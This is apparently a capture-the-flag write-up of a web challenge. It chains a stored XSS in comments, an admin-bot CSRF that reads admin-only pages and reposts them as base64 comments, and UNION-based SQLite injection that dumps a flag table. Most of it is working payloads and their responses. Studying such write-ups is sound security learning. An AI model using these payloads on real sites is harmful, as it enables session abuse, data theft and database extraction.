XSS
In this challenge, we have a comment function, so i think it might be vulnerable to XSS.
There is a note when reporting, after researching from this note, I found the XSS payload that works:
<style onload=alert("niek")></style>
CSRF
We cannot access the admin’s page, so I think about a CSRF vulnerability where the admin will access the page and comment the page source so that we can see it.
We will comment on the user number 3 (or 2) and make the admin comment on the 1.
<style onload="var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/user/0',true);
req.send();
function handleResponse() {
var res = btoa(this.responseText);
var commentReq = new XMLHttpRequest();
commentReq.open('post', '/comment/1', true);
commentReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
commentReq.send('comment='+res)
};"></style>
After comment, we report this user so that the admin will view this page and trigger the XSS and CSRF.
Then go to the user number 1 and we have the content of admin’s page in base64. Decode it (change all spaces into +
), we can see there is a search function.
<div class="mt-25">
<form class="navbar-form" method="POST" action="/secret_admin_search" comment="#search-response">
<div id="search-response" class="description"></div>
<div class="input-group">
<input type="text" class="form-control description" id="search" name="search">
<span class="input-group-btn">
<input type="submit" class="btn btn-default search" value="User ID Search">
</span>
</div>
</form>
</div>
Then, I think about testing CSRF with the search function, the admin will search and comment the result in user 1’s page for us.
I use payload:
<style onload="var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('post','/secret_admin_search',true);
req.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
req.send('search=a');
function handleResponse() {
var res = btoa(this.responseText);
var commentReq = new XMLHttpRequest();
commentReq.open('post', '/comment/1', true);
commentReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
commentReq.send('comment='+res)
};"></style>
Again, we received a base64 string, change all spaces to +
and decode it:
{"message":"SQLite error: no such column: a","result":"error"}
So the web is using SQLite and it is vulnerable to SQL injection.
SQL injection
If we use the payload:
search=1
We can see the information of an user.
{"message":[[1,"Michael Owens",14,22,3,"Sydney, Australia"]],"result":"success"}
We can list all table in the database with:
search=1+UNION+SELECT+1,name,1,1,1,null+FROM+sqlite_master+WHERE+type=\'table\'--
There is a table named flag
.
{"message":[[1,"Michael Owens",14,22,3,"Sydney, Australia"],[1,"comment",1,1,1,null],[1,"flag",1,1,1,null],[1,"user",1,1,1,null]],"result":"success"}
Next, we find the column’s name of that table.
search=1+UNION+SELECT+1,sql,1,1,1,null+FROM+sqlite_master+WHERE+tbl_name=\'flag\'+AND+type=\'table\'--
{"message":[[1,"CREATE TABLE flag (flag text)",1,1,1,null],[1,"Michael Owens",14,22,3,"Sydney, Australia"]],"result":"success"}
Now, we have column ‘flag
‘ in table ‘flag
‘. Let’s get it.
<style onload="var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('post','/secret_admin_search',true);
req.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
req.send('search=1+UNION+SELECT+1,flag,1,1,1,null+FROM+\'flag\'--');
function handleResponse() {
var res = btoa(this.responseText);
var commentReq = new XMLHttpRequest();
commentReq.open('post', '/comment/1', true);
commentReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
commentReq.send('comment='+res)
};"></style>
And we found the flag.
{"message":[[1,"247CTF{XXXXX}",1,1,1,null],[1,"Michael Owens",14,22,3,"Sydney, Australia"]],"result":"success"}